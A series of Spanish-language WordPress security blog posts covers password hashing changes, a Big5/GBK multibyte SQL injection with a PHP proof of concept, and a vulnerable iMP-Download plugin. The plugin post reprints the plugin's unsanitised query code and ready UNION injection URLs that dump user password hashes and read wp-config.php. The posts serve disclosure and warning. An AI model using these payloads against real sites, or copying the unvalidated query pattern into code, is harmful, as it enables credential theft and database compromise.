Categories
Seguridad Web WordPress

Cookies de autenticación y contraseñas más seguras en WordPress

Desde hace dos semanas aproximadamente, cambió la forma como se almacenan las contraseñas en la versión en desarrollo de WordPress, ahora ya no se almacena el hash md5 de la contraseña en la base de datos -- como se hace en muchos otros CMS, sino se usa phpass (Portable PHP password hashing framework) para esta tarea.

Por otro lado, también hubo un cambio en generación de cookies de autenticación, que en la actualidad son fácilmente generados a partir del hash de la contraseña almacenada en la base de datos. Esta nueva implementación está basado en el paper "A Secure Cookie Protocol" (pdf).

Sin duda estos cambios son importantes y de seguro reducirán la acción de ciertos problemas de seguridad que se basaban sólo en obtener el hash almacenado.

Categories
Seguridad Sql Injection Web WordPress

Inyección de SQL en WordPress

Luego de que alguien hiciera eco sobre un falso problema de inyección de SQL en WordPress 2.3.1, esta vez han publicado detalles de un bug que permite realizar este tipo de ataques en las ramas 2.2 y 2.3 (podría afectar a versiones anteriores también). Antes de pegar un grito al cielo y maldecir a los programadores de WordPress, vale aclarar que este bug sólo se puede reproducir siempre y cuando la codificación de la base de datos sea SJIS, BIG5 o GBK.

El problema radica en que en los juegos de caracteres de ancho variable mencionados, es posible que a partir de secuencias de caracteres no válidas y luego de aplicar la función addslashes, se pueda realizar ataques de inyección de SQL. Por ejemplo en la prueba de concepto del mencionado bug envían la secuencia 0xb327 (caracter multi-byte no válido en Big5) que luego de aplicarle la función addslashes la cadena resultante será 0xb35c27 (notar que el caracter \ = 0x5c se agregó antes de la comilla simple ' = 0x27), sin embargo en esta codificación la secuencia 0xb35c (許) es un caracter multi-byte válido por lo que en realidad la cadena resultante tendría la comilla simple sin escapar (許').

Dado que WordPress cambia la codificación de la conexión con SET NAMES 'GBK' (que es lo que hace cuando se especifica un valor para DB_CHARSET en el archivo de configuración), este problema de seguridad tendrá los mismos efectos aún usando la función mysql_real_escape_string.

Actualización: He subido un ejemplo que ilustra el problema descrito. El código de ese ejemplo es el siguiente por si quieren hacer pruebas:

php:

<?php
header('Content-Type: text/plain; charset=Big5');

$login = chr(0xB3).chr(0x27) . ' UNION ALL SELECT * FROM foo /*';
if ( isset($_GET['login']) )
        $login = stripslashes($_GET['login']);

$sql = "SELECT * FROM wp_posts WHERE login = '%s'\n";

echo sprintf($sql, addslashes($login));

mysql_connect('localhost', 'tests', '1234');
mysql_query('SET NAMES Big5');

echo sprintf($sql, mysql_real_escape_string($login));

mysql_close();
?>

Lectura recomendada

Categories
ASP.NET Seguridad

Videos sobre seguridad en ASP.NET

Por si no lo vieron todavía, una serie de videos introductorios -- en inglés -- sobre seguridad en ASP.NET:

  • Canonicalization: Explica sobre los ACLs e impersonación de usuarios para acceder a recursos, así como usar Server.MapPath para limitar el acceso sólo a rutas que esten dentro del directorio virtual de una aplicación.
  • Cookies: Muestra como detectar la alteración de cookies.
  • Cross-Site Scripting: Explica que es XSS y como prevenir éstos ataques.
  • Regular Expressions: Explica el uso de expresiones regulares para la validación de los datos.
  • SQL Injection: Explica que es SQL Injection y cómo evitar este tipo de ataques usando consultas parametrizadas.
  • Validation Controls

Fuente: Blog de J.D. Meier

Categories
Seguridad Sql Injection Web WordPress

Eviten el uso del plugin iMP-Download para WordPress

Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin -- no tengo idea si esto tiene relación con el ataque que sufrió.

En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:

php:

<?php
/*
Plugin Name: iMP Download
Version: 1.4.1
Plugin URI: http://www.inmypad.com/2007/01/wordpress-plugins-imp-download/
Author: Hardi P
Author URI: http://www.inmypad.com/
Description: Download manager for wordpress user featuring download count, force download, quicktag, members only, widgets, etc. Integrated with search engine to find your downloads easily and pagination on download list.
*/

if (isset($_GET['dl'])) {
        global $wpdb, $table_prefix;
       
        // require_once('../../../wp-blog-header.php');
        $option = get_option('iMP_Download_Option');
       
        $user_login = $_COOKIE['wordpressuser_' . COOKIEHASH];

        if ($option['dl_mo'] == 1 && !$user_login) {
                $login = get_settings('siteurl') . '/wp-login.php';
        ?>
                script type="text/javascript">
                        var mo = confirm("Guest are not allowed to download!" + "\n" + "Press 'OK' to login/register or press 'CANCEL' to go back.")
                        if (mo == true) {
                                window.location = "<?php echo $login; ?>";
                    } else {
                                window.location = document.referrer;
                        }
                </script
        <?php
                exit();
        }
       
        $dl_id = $_GET['dl'];
        $table_name = $table_prefix . 'imp_download';
       
        $wpdb->query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'");
       
        $url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id";
        $file = $wpdb->get_var($url);

        $file = str_replace(' ','%20',$file);
        $filename = basename($file);
       
        $mimetype = 'application/octet-stream'// Set mime-type
        header("Pragma: "); // Leave blank for issues with IE
        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header("Content-Type: $mimetype");
        if ($option['dl_fd'] == 1) {
                if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) {
                        header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available
                } else {
                        header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated
                }
               
                if (ini_get('allow_url_fopen') == 1) {
                        $file = fopen($file, "rb");
                        fpassthru($file);
                        exit();
                } elseif (function_exists('curl_init')) {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $file);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_exec ($ch);
                        curl_close ($ch);
                        exit();
                }
        } else {
                header('Location: '.$file.''); // Force download deactivated
                exit();
        }
}

Como se puede apreciar en las líneas 34 y 39, el parámetro dl no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:

code:

* Obtener el usuario y contraseña de cualquier usuario
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1

* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870

Dada la gravedad del problema, es recomendable que desactiven -- o corrijan -- cuanto antes el mencionado plugin.

Categories
WordPress

WordPress 2.3: privacidad, problemas y otros

A estas alturas supongo que seré uno de los últimos de los que aburra con este tema 😀 , pero la salida de WordPress 2.3 ha generado -- como esperaba luego de leer la lista de correo -- bastante polémica por que el nuevo sistema de actualizaciones envía ciertos datos* a api.wordpress.org.

Privacidad

A pesar de que el código para la notificación de actualizaciones está en el repositorio desde el 22 de agosto, este incidente empezó día anterior al lanzamiento de esta versión con opiniones divididas -- incluso entre los desarrolladores -- sobre si es necesario y sobre todo, si es correcto o no que éstos datos se envíen sin el consentimiento de los usuarios. Lo malo de todo este revuelo que se armó es que hasta dos horas antes del lanzamiento, ninguno de los que reclamaba que quitaran esta característica propuso un parche; por otro lado también hubo respuestas inadecuadas por parte de Matt Mullenweg, en especial esta:

If you don’t trust wordpress.org, I suggest you do one of the following:

  • Use different software.
  • Fork WordPress.
  • Install one of the aforementioned plugins.

Problemas

Esta versión trae consigo importantes cambios en el esquema de la base de datos, por lo que es necesario antes de actualizar, asegurarse que los plugins y tema usados sean compatibles.

Andrés recopiló una serie de errores que muchos usuarios parecen compartir, adicionalmente a esto si alguien se encuentra con el siguiente error no tiene porque preocuparse (probablemente es parte de un bug antiguo que permitía agregar dos veces la misma categoría a una entrada).

code:

WordPress database error: [Duplicate entry 'post_id-category_id' for key 1]
INSERT INTO wp_term_relationships (object_id, term_taxonomy_id)
VALUES ('post_id', 'category_id')

Personalmente les sugiero que primero hagan pruebas locales antes de actualizar sus blogs, pueden seguir el artículo "5 Step Failsafe upgrade for WordPress" para esto, pero sólo tomen en cuenta los últimos cuatro pasos (por ningún motivo realicen el paso 1 con la alternativa que se menciona ahí, o al menos no lo mantengan activado luego de terminar de actualizar).

Consumo de memoria

Me ha llamado la atención otra vez los datos que publica Andrés con respecto al incremento de memoria de WordPress 2.3, según sus pruebas esta última versión consume casi el doble de memoria que la anterior versión:

code:

//Wordpress 2.2
Memoria usada: 2981.4 KB de 3328 KB

//Wordress 2.3
Memoria usada: 6743.2 KB de 6912 KB

Personalmente creo que hay algo raro en su entorno de pruebas 🙂 , puesto que tanto en DreamHost, en este servidor y la máquina virtual que uso, WordPress 2.2 recién instalado y con el tema por omisión consume alrededor de 4530 KB y WordPress 2.3 está por los 5180 KB, con lo cual el incremento de memoria no es tan dramático para blogs pequeños como éste (blogs más populares tampoco tienen porque preocuparse si usan wp-cache).

Una forma de reducir un poco más el consumo de memoria de blogs que usan archivos de traducción, es traducir sólo el texto necesario (fechas principalmente) y eliminar las demás palabras, pueden descargar estos archivos que actualmente uso para el blog: